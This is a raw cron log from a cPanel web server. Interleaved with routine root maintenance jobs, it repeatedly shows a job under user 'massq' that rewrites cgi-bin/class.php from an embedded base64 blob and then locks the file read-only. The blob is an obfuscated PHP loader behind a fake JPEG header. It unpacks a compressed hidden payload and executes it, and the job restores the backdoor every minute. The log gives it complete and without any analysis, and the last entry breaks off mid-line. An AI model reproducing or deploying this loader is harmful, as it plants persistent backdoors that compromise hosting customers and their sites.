Aug 30 10:05:01 server CROND[22336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:05:01 server CROND[22339]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:05:01 server CROND[22345]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:05:01 server CROND[22344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:05:01 server CROND[22343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:05:01 server CROND[22342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:05:01 server CROND[22348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:06:01 server CROND[23369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:06:01 server CROND[23370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:06:01 server CROND[23371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:07:01 server CROND[23737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:07:01 server CROND[23738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:07:01 server CROND[23739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:08:01 server CROND[24121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:08:01 server CROND[24122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:08:01 server CROND[24120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:09:01 server CROND[24497]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 10:09:01 server CROND[24499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:09:01 server CROND[24500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:09:01 server CROND[24501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:10:01 server CROND[25264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:10:01 server CROND[25278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:10:01 server CROND[25286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:10:01 server CROND[25287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:10:01 server CROND[25290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:10:01 server CROND[25289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:10:01 server CROND[25292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:10:01 server CROND[25291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:11:01 server CROND[26107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:11:01 server CROND[26108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:11:01 server CROND[26109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:12:01 server CROND[26475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:12:01 server CROND[26476]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:12:01 server CROND[26477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:12:01 server CROND[26478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:13:01 server CROND[26854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:13:01 server CROND[26856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:13:01 server CROND[26855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:14:02 server CROND[27232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:14:02 server CROND[27233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:14:02 server CROND[27234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:15:01 server CROND[27764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:15:01 server CROND[27765]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 10:15:01 server CROND[27768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:15:01 server CROND[27770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:15:01 server CROND[27771]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:15:01 server CROND[27774]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 10:15:01 server CROND[27777]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:15:01 server CROND[27778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:15:01 server CROND[27776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:16:01 server CROND[28637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; 